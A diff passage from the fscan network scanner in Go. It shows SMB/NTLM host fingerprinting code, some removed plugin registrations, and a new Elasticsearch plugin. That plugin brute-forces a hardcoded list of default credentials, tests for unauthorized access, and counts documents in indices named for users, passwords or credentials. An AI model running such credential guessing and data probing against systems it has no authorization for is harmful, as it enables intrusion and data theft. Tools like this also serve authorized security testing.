// parseNTLMFlags 解析NTLM标志位
|
||||
func parseNTLMFlags(flags uint32, result *strings.Builder) {
|
||||
flagNames := map[uint32]string{
|
||||
0x00000001: "NEGOTIATE_UNICODE",
|
||||
0x00000002: "NEGOTIATE_OEM",
|
||||
0x00000004: "REQUEST_TARGET",
|
||||
0x00000010: "NEGOTIATE_SIGN",
|
||||
0x00000020: "NEGOTIATE_SEAL",
|
||||
0x00000040: "NEGOTIATE_DATAGRAM",
|
||||
0x00000080: "NEGOTIATE_LM_KEY",
|
||||
0x00000200: "NEGOTIATE_NTLM",
|
||||
0x00001000: "NEGOTIATE_DOMAIN_SUPPLIED",
|
||||
0x00002000: "NEGOTIATE_WORKSTATION_SUPPLIED",
|
||||
0x00004000: "NEGOTIATE_LOCAL_CALL",
|
||||
0x00008000: "NEGOTIATE_ALWAYS_SIGN",
|
||||
0x00010000: "TARGET_TYPE_DOMAIN",
|
||||
0x00020000: "TARGET_TYPE_SERVER",
|
||||
0x00040000: "TARGET_TYPE_SHARE",
|
||||
0x00080000: "NEGOTIATE_EXTENDED_SESSIONSECURITY",
|
||||
0x00100000: "NEGOTIATE_IDENTIFY",
|
||||
0x02000000: "NEGOTIATE_VERSION",
|
||||
0x20000000: "NEGOTIATE_128",
|
||||
0x40000000: "NEGOTIATE_KEY_EXCH",
|
||||
0x80000000: "NEGOTIATE_56",
|
||||
}
|
||||
|
||||
var activeFlags []string
|
||||
for flag, name := range flagNames {
|
||||
if flags&flag != 0 {
|
||||
activeFlags = append(activeFlags, name)
|
||||
}
|
||||
}
|
||||
|
||||
if len(activeFlags) > 0 {
|
||||
result.WriteString(fmt.Sprintf("NTLM Flags: %s\n", strings.Join(activeFlags, ", ")))
|
||||
}
|
||||
}
|
||||
|
||||
// parseTargetInfo 解析NTLM Target Information (AV_PAIR结构)
|
||||
func parseTargetInfo(data []byte, result *strings.Builder) {
|
||||
offset := 0
|
||||
|
||||
for offset+4 <= len(data) {
|
||||
// 读取AV_PAIR结构: AvId (2字节) + AvLen (2字节) + Value (AvLen字节)
|
||||
avId := bytesToUint16(data[offset:offset+2])
|
||||
avLen := bytesToUint16(data[offset+2:offset+4])
|
||||
|
||||
if avId == MsvAvEOL {
|
||||
break // 列表结束
|
||||
}
|
||||
|
||||
if offset+4+int(avLen) > len(data) {
|
||||
break // 数据不足
|
||||
}
|
||||
|
||||
value := data[offset+4:offset+4+int(avLen)]
|
||||
|
||||
switch avId {
|
||||
case MsvAvNbComputerName:
|
||||
computerName := parseUnicodeString(value)
|
||||
if computerName != "" {
|
||||
result.WriteString(fmt.Sprintf("NetBIOS Computer Name: %s\n", computerName))
|
||||
}
|
||||
case MsvAvNbDomainName:
|
||||
domainName := parseUnicodeString(value)
|
||||
if domainName != "" {
|
||||
result.WriteString(fmt.Sprintf("NetBIOS Domain Name: %s\n", domainName))
|
||||
}
|
||||
case MsvAvDnsComputerName:
|
||||
dnsComputerName := parseUnicodeString(value)
|
||||
if dnsComputerName != "" {
|
||||
result.WriteString(fmt.Sprintf("DNS Computer Name: %s\n", dnsComputerName))
|
||||
}
|
||||
case MsvAvDnsDomainName:
|
||||
dnsDomainName := parseUnicodeString(value)
|
||||
if dnsDomainName != "" {
|
||||
result.WriteString(fmt.Sprintf("DNS Domain Name: %s\n", dnsDomainName))
|
||||
}
|
||||
case MsvAvDnsTreeName:
|
||||
forestName := parseUnicodeString(value)
|
||||
if forestName != "" {
|
||||
result.WriteString(fmt.Sprintf("DNS Forest Name: %s\n", forestName))
|
||||
}
|
||||
case MsvAvFlags:
|
||||
if len(value) >= 4 {
|
||||
serverFlags := bytesToUint32(value[0:4])
|
||||
parseServerFlags(serverFlags, result)
|
||||
}
|
||||
case MsvAvTimestamp:
|
||||
if len(value) >= 8 {
|
||||
timestamp := bytesToUint64(value[0:8])
|
||||
// Windows FILETIME: 100纳秒间隔自1601年1月1日
|
||||
if timestamp > 0 {
|
||||
// 转换为Unix时间戳 (简化版本)
|
||||
unixTime := int64((timestamp - 116444736000000000) / 10000000)
|
||||
if unixTime > 0 {
|
||||
t := time.Unix(unixTime, 0)
|
||||
result.WriteString(fmt.Sprintf("Server Timestamp: %s\n", t.Format(time.RFC3339)))
|
||||
}
|
||||
}
|
||||
}
|
||||
case MsvAvTargetName:
|
||||
targetName := parseUnicodeString(value)
|
||||
if targetName != "" {
|
||||
result.WriteString(fmt.Sprintf("Target SPN: %s\n", targetName))
|
||||
}
|
||||
}
|
||||
|
||||
offset += 4 + int(avLen)
|
||||
}
|
||||
}
|
||||
|
||||
// parseServerFlags 解析服务器标志
|
||||
func parseServerFlags(flags uint32, result *strings.Builder) {
|
||||
var serverFlags []string
|
||||
|
||||
if flags&0x00000001 != 0 {
|
||||
serverFlags = append(serverFlags, "CONSTRAINED_AUTHENTICATION")
|
||||
}
|
||||
if flags&0x00000002 != 0 {
|
||||
serverFlags = append(serverFlags, "MIC_PROVIDED")
|
||||
}
|
||||
if flags&0x00000004 != 0 {
|
||||
serverFlags = append(serverFlags, "UNTRUSTED_SPN_SOURCE")
|
||||
}
|
||||
|
||||
if len(serverFlags) > 0 {
|
||||
result.WriteString(fmt.Sprintf("Server Flags: %s\n", strings.Join(serverFlags, ", ")))
|
||||
}
|
||||
}
|
||||
|
||||
// parseOSVersion 解析操作系统版本信息
|
||||
func parseOSVersion(data []byte, result *strings.Builder) {
|
||||
if len(data) < 8 {
|
||||
return
|
||||
}
|
||||
|
||||
majorVersion := data[0]
|
||||
minorVersion := data[1]
|
||||
buildNumber := bytesToUint16(data[2:4])
|
||||
reserved := bytesToUint32(data[4:8])
|
||||
|
||||
// Windows版本映射
|
||||
var osName string
|
||||
switch {
|
||||
case majorVersion == 10 && minorVersion == 0:
|
||||
if buildNumber >= 22000 {
|
||||
osName = "Windows 11"
|
||||
} else {
|
||||
osName = "Windows 10"
|
||||
}
|
||||
case majorVersion == 6 && minorVersion == 3:
|
||||
osName = "Windows 8.1 / Server 2012 R2"
|
||||
case majorVersion == 6 && minorVersion == 2:
|
||||
osName = "Windows 8 / Server 2012"
|
||||
case majorVersion == 6 && minorVersion == 1:
|
||||
osName = "Windows 7 / Server 2008 R2"
|
||||
case majorVersion == 6 && minorVersion == 0:
|
||||
osName = "Windows Vista / Server 2008"
|
||||
case majorVersion == 5 && minorVersion == 2:
|
||||
osName = "Windows XP x64 / Server 2003"
|
||||
case majorVersion == 5 && minorVersion == 1:
|
||||
osName = "Windows XP"
|
||||
case majorVersion == 5 && minorVersion == 0:
|
||||
osName = "Windows 2000"
|
||||
default:
|
||||
osName = fmt.Sprintf("Windows %d.%d", majorVersion, minorVersion)
|
||||
}
|
||||
|
||||
result.WriteString(fmt.Sprintf("OS Version: %s (Build %d)\n", osName, buildNumber))
|
||||
|
||||
if reserved != 0 {
|
||||
result.WriteString(fmt.Sprintf("OS Reserved: 0x%08X\n", reserved))
|
||||
}
|
||||
}
|
||||
|
||||
// bytesToUint32 将字节数组转换为32位无符号整数 (小端序)
|
||||
func bytesToUint32(b []byte) uint32 {
|
||||
if len(b) < 4 {
|
||||
return 0
|
||||
}
|
||||
return uint32(b[0]) | uint32(b[1])<<8 | uint32(b[2])<<16 | uint32(b[3])<<24
|
||||
}
|
||||
|
||||
// bytesToUint64 将字节数组转换为64位无符号整数 (小端序)
|
||||
func bytesToUint64(b []byte) uint64 {
|
||||
if len(b) < 8 {
|
||||
return 0
|
||||
}
|
||||
return uint64(b[0]) | uint64(b[1])<<8 | uint64(b[2])<<16 | uint64(b[3])<<24 |
|
||||
uint64(b[4])<<32 | uint64(b[5])<<40 | uint64(b[6])<<48 | uint64(b[7])<<56
|
||||
}
|
||||
|
||||
// displaySMBInfo 显示SMB信息
|
||||
func displaySMBInfo(hostInfo *common.HostInfo, info string, isSMBv1 bool) {
|
||||
target := fmt.Sprintf("%s:%s", hostInfo.Host, hostInfo.Ports)
|
||||
smbVersion := "SMB2"
|
||||
if isSMBv1 {
|
||||
smbVersion = "SMB1"
|
||||
}
|
||||
|
||||
// 提取操作系统信息用于主显示行
|
||||
osInfo := extractOSInfo(info)
|
||||
computerName := extractComputerName(info)
|
||||
|
||||
var successMsg string
|
||||
if osInfo != "" && computerName != "" {
|
||||
successMsg = fmt.Sprintf("SMBInfo %s [%s] %s %s", target, osInfo, computerName, smbVersion)
|
||||
} else if osInfo != "" {
|
||||
successMsg = fmt.Sprintf("SMBInfo %s [%s] %s", target, osInfo, smbVersion)
|
||||
} else if computerName != "" {
|
||||
successMsg = fmt.Sprintf("SMBInfo %s %s %s", target, computerName, smbVersion)
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMBInfo %s %s", target, smbVersion)
|
||||
}
|
||||
|
||||
common.LogSuccess(successMsg)
|
||||
}
|
||||
|
||||
// extractOSInfo 从信息中提取操作系统信息
|
||||
func extractOSInfo(info string) string {
|
||||
lines := strings.Split(info, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(line, "OS Version:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
osVersion := strings.TrimSpace(parts[1])
|
||||
// 简化OS版本显示,提取主要版本号
|
||||
if strings.Contains(osVersion, "Windows") {
|
||||
if strings.Contains(osVersion, "Build") {
|
||||
parts := strings.Split(osVersion, " (Build")
|
||||
if len(parts) > 0 {
|
||||
return strings.TrimSpace(parts[0])
|
||||
}
|
||||
}
|
||||
return osVersion
|
||||
}
|
||||
return osVersion
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "Windows版本:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "NativeOS:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractComputerName 从信息中提取计算机名
|
||||
func extractComputerName(info string) string {
|
||||
lines := strings.Split(info, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.Contains(line, "NetBIOS Computer Name:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "NetBIOS计算机名:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "DNS Computer Name:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
if strings.Contains(line, "DNS计算机名:") {
|
||||
parts := strings.Split(line, ":")
|
||||
if len(parts) > 1 {
|
||||
return strings.TrimSpace(parts[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// displayBasicSMBInfo 显示基本SMB信息
|
||||
func displayBasicSMBInfo(hostInfo *common.HostInfo) {
|
||||
target := fmt.Sprintf("%s:%s", hostInfo.Host, hostInfo.Ports)
|
||||
msg := fmt.Sprintf("SMBInfo %s SMB service detected", target)
|
||||
common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// saveSMBInfo 保存SMB信息
|
||||
func saveSMBInfo(hostInfo *common.HostInfo, info string) {
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeService,
|
||||
Target: hostInfo.Host,
|
||||
Status: "open",
|
||||
Details: map[string]interface{}{
|
||||
"port": hostInfo.Ports,
|
||||
"protocol": "smb",
|
||||
"info": info,
|
||||
},
|
||||
}
|
||||
common.SaveResult(result)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package smbinfo
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewSMBInfoPlugin 创建SMB信息收集插件
|
||||
func NewSMBInfoPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smbinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB协议信息收集和操作系统检测",
|
||||
Category: "service",
|
||||
Ports: []int{139, 445}, // SMB端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "information-gathering", "os-detection", "ntlm"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // SMB信息收集不依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这不是漏洞检测插件
|
||||
IsInfoPlugin: true, // 这是信息收集插件
|
||||
CustomPorts: []int{139, 445}, // SMB端口
|
||||
}
|
||||
|
||||
// 创建适配器,使用SMBInfo函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SMBInfo, options)
|
||||
}
|
||||
|
||||
// init 自动注册SMBInfo插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smbinfo",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB协议信息收集和操作系统检测",
|
||||
Category: "service",
|
||||
Ports: []int{139, 445},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "information-gathering", "os-detection", "ntlm"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewSMBInfoPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("smbinfo", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package webpoc
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewWebPocPlugin 创建WebPoc漏洞扫描插件
|
||||
func NewWebPocPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "webpoc",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Web应用漏洞POC扫描检测",
|
||||
Category: "web",
|
||||
Ports: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
Protocols: []string{"http", "https"},
|
||||
Tags: []string{"web", "poc", "vulnerability", "exploit"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // WebPoc不依赖暴力破解标志
|
||||
IsVulnPlugin: true, // 这是漏洞检测插件
|
||||
IsInfoPlugin: false,
|
||||
CustomPorts: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
}
|
||||
|
||||
// 创建适配器,使用老版本的WebPoc函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.WebPoc, options)
|
||||
}
|
||||
|
||||
// init 自动注册WebPoc插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "webpoc",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Web应用漏洞POC扫描检测",
|
||||
Category: "web",
|
||||
Ports: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
Protocols: []string{"http", "https"},
|
||||
Tags: []string{"web", "poc", "vulnerability", "exploit"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewWebPocPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("webpoc", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package webtitle
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewWebTitlePlugin 创建WebTitle网站标题获取插件
|
||||
func NewWebTitlePlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "webtitle",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Web网站标题和指纹识别扫描",
|
||||
Category: "web",
|
||||
Ports: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
Protocols: []string{"http", "https"},
|
||||
Tags: []string{"web", "title", "fingerprint", "information-gathering"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // WebTitle不依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这不是漏洞检测插件
|
||||
IsInfoPlugin: true, // 这是信息收集插件
|
||||
CustomPorts: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
}
|
||||
|
||||
// 创建适配器,使用老版本的WebTitle函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.WebTitle, options)
|
||||
}
|
||||
|
||||
// init 自动注册WebTitle插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "webtitle",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "Web网站标题和指纹识别扫描",
|
||||
Category: "web",
|
||||
Ports: []int{}, // Web插件不限制端口,支持任意端口的URL
|
||||
Protocols: []string{"http", "https"},
|
||||
Tags: []string{"web", "title", "fingerprint", "information-gathering"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewWebTitlePlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("webtitle", factory)
|
||||
}
|
404
plugins/services/elasticsearch.go
Normal file
404
plugins/services/elasticsearch.go
Normal file
@ -0,0 +1,404 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
// ElasticsearchPlugin Elasticsearch搜索引擎扫描插件 - 弱密码检测和未授权访问检测
|
||||
type ElasticsearchPlugin struct {
|
||||
name string
|
||||
ports []int
|
||||
}
|
||||
|
||||
// NewElasticsearchPlugin 创建Elasticsearch插件
|
||||
func NewElasticsearchPlugin() *ElasticsearchPlugin {
|
||||
return &ElasticsearchPlugin{
|
||||
name: "elasticsearch",
|
||||
ports: []int{9200, 9300}, // Elasticsearch端口
|
||||
}
|
||||
}
|
||||
|
||||
// GetName 实现Plugin接口
|
||||
func (p *ElasticsearchPlugin) GetName() string {
|
||||
return p.name
|
||||
}
|
||||
|
||||
// GetPorts 实现Plugin接口
|
||||
func (p *ElasticsearchPlugin) GetPorts() []int {
|
||||
return p.ports
|
||||
}
|
||||
|
||||
// Scan 执行Elasticsearch扫描 - 弱密码检测和未授权访问检测
|
||||
func (p *ElasticsearchPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
|
||||
// 检查端口
|
||||
if info.Ports != "9200" && info.Ports != "9300" {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("Elasticsearch插件仅支持9200和9300端口"),
|
||||
}
|
||||
}
|
||||
|
||||
// 如果禁用暴力破解,只做服务识别
|
||||
if common.DisableBrute {
|
||||
return p.identifyService(ctx, info)
|
||||
}
|
||||
|
||||
// 首先测试未授权访问
|
||||
if result := p.testUnauthAccess(ctx, info); result != nil && result.Success {
|
||||
common.LogSuccess(fmt.Sprintf("Elasticsearch %s 未授权访问", target))
|
||||
return result
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("elasticsearch")
|
||||
if len(credentials) == 0 {
|
||||
// Elasticsearch默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "", Password: ""},
|
||||
{Username: "elastic", Password: ""},
|
||||
{Username: "elastic", Password: "elastic"},
|
||||
{Username: "elastic", Password: "password"},
|
||||
{Username: "elastic", Password: "123456"},
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: ""},
|
||||
}
|
||||
}
|
||||
|
||||
// 逐个测试凭据
|
||||
for _, cred := range credentials {
|
||||
// 检查Context是否被取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
default:
|
||||
}
|
||||
|
||||
// 测试凭据
|
||||
if p.testCredential(ctx, info, cred) {
|
||||
// Elasticsearch认证成功
|
||||
common.LogSuccess(fmt.Sprintf("Elasticsearch %s 弱密码 %s:%s", target, cred.Username, cred.Password))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "elasticsearch",
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 所有凭据都失败
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "elasticsearch",
|
||||
Error: fmt.Errorf("未发现弱密码或未授权访问"),
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// ElasticsearchClusterInfo 集群信息结构
|
||||
type ElasticsearchClusterInfo struct {
|
||||
ClusterName string
|
||||
Version string
|
||||
NodeName string
|
||||
}
|
||||
|
||||
// testUnauthAccess 测试未授权访问
|
||||
func (p *ElasticsearchPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo) *ScanResult {
|
||||
if p.testCredential(ctx, info, Credential{Username: "", Password: ""}) {
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Service: "elasticsearch",
|
||||
Banner: "未授权访问",
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// testCredential 测试单个凭据
|
||||
func (p *ElasticsearchPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) bool {
|
||||
client := &http.Client{
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
// 构建URL
|
||||
protocol := "http"
|
||||
if info.Ports == "9443" {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%s/", protocol, info.Host, info.Ports)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
// 如果有凭据,添加认证头
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(cred.Username + ":" + cred.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
// 检查响应状态码
|
||||
if resp.StatusCode == 200 {
|
||||
// 读取响应内容验证是否为Elasticsearch
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
return strings.Contains(bodyStr, "elasticsearch") || strings.Contains(bodyStr, "cluster_name")
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// getClusterInfo 获取集群信息
|
||||
func (p *ElasticsearchPlugin) getClusterInfo(ctx context.Context, info *common.HostInfo, creds Credential) *ElasticsearchClusterInfo {
|
||||
client := &http.Client{
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
protocol := "http"
|
||||
if info.Ports == "9443" {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%s/", protocol, info.Host, info.Ports)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if creds.Username != "" || creds.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(creds.Username + ":" + creds.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return nil
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析JSON响应
|
||||
var clusterData map[string]interface{}
|
||||
if err := json.Unmarshal(body, &clusterData); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
clusterInfo := &ElasticsearchClusterInfo{}
|
||||
|
||||
if clusterName, ok := clusterData["cluster_name"].(string); ok {
|
||||
clusterInfo.ClusterName = clusterName
|
||||
}
|
||||
|
||||
if nodeName, ok := clusterData["name"].(string); ok {
|
||||
clusterInfo.NodeName = nodeName
|
||||
}
|
||||
|
||||
if version, ok := clusterData["version"].(map[string]interface{}); ok {
|
||||
if number, ok := version["number"].(string); ok {
|
||||
clusterInfo.Version = number
|
||||
}
|
||||
}
|
||||
|
||||
return clusterInfo
|
||||
}
|
||||
|
||||
// getIndices 获取索引列表
|
||||
func (p *ElasticsearchPlugin) getIndices(ctx context.Context, info *common.HostInfo, creds Credential) []string {
|
||||
client := &http.Client{
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
protocol := "http"
|
||||
if info.Ports == "9443" {
|
||||
protocol = "https"
|
||||
}
|
||||
url := fmt.Sprintf("%s://%s:%s/_cat/indices?format=json", protocol, info.Host, info.Ports)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
if creds.Username != "" || creds.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(creds.Username + ":" + creds.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != 200 {
|
||||
return nil
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析索引信息
|
||||
var indices []map[string]interface{}
|
||||
if err := json.Unmarshal(body, &indices); err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var indexNames []string
|
||||
for _, index := range indices {
|
||||
if indexName, ok := index["index"].(string); ok {
|
||||
indexNames = append(indexNames, indexName)
|
||||
}
|
||||
}
|
||||
|
||||
return indexNames
|
||||
}
|
||||
|
||||
// checkSensitiveData 检查敏感数据
|
||||
func (p *ElasticsearchPlugin) checkSensitiveData(ctx context.Context, info *common.HostInfo, creds Credential) map[string]int {
|
||||
sensitiveData := make(map[string]int)
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: time.Duration(common.Timeout) * time.Second,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
protocol := "http"
|
||||
if info.Ports == "9443" {
|
||||
protocol = "https"
|
||||
}
|
||||
|
||||
// 获取所有索引
|
||||
indices := p.getIndices(ctx, info, creds)
|
||||
if len(indices) == 0 {
|
||||
return sensitiveData
|
||||
}
|
||||
|
||||
// 检查常见的敏感索引
|
||||
sensitivePatterns := []string{"user", "account", "password", "credential", "login", "auth", "admin", "config"}
|
||||
|
||||
for _, index := range indices {
|
||||
indexLower := strings.ToLower(index)
|
||||
|
||||
for _, pattern := range sensitivePatterns {
|
||||
if strings.Contains(indexLower, pattern) {
|
||||
// 获取该索引的文档数量
|
||||
url := fmt.Sprintf("%s://%s:%s/%s/_count", protocol, info.Host, info.Ports, index)
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, "GET", url, nil)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if creds.Username != "" || creds.Password != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(creds.Username + ":" + creds.Password))
|
||||
req.Header.Set("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if resp.StatusCode == 200 {
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var countData map[string]interface{}
|
||||
if err := json.Unmarshal(body, &countData); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if count, ok := countData["count"].(float64); ok {
|
||||
sensitiveData[fmt.Sprintf("%s (索引: %s)", pattern, index)] = int(count)
|
||||
}
|
||||
} else {
|
||||
resp.Body.Close()
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return sensitiveData
|
||||
}
|
||||
|
||||
// identifyService 服务识别 - 检测Elasticsearch服务
|
||||
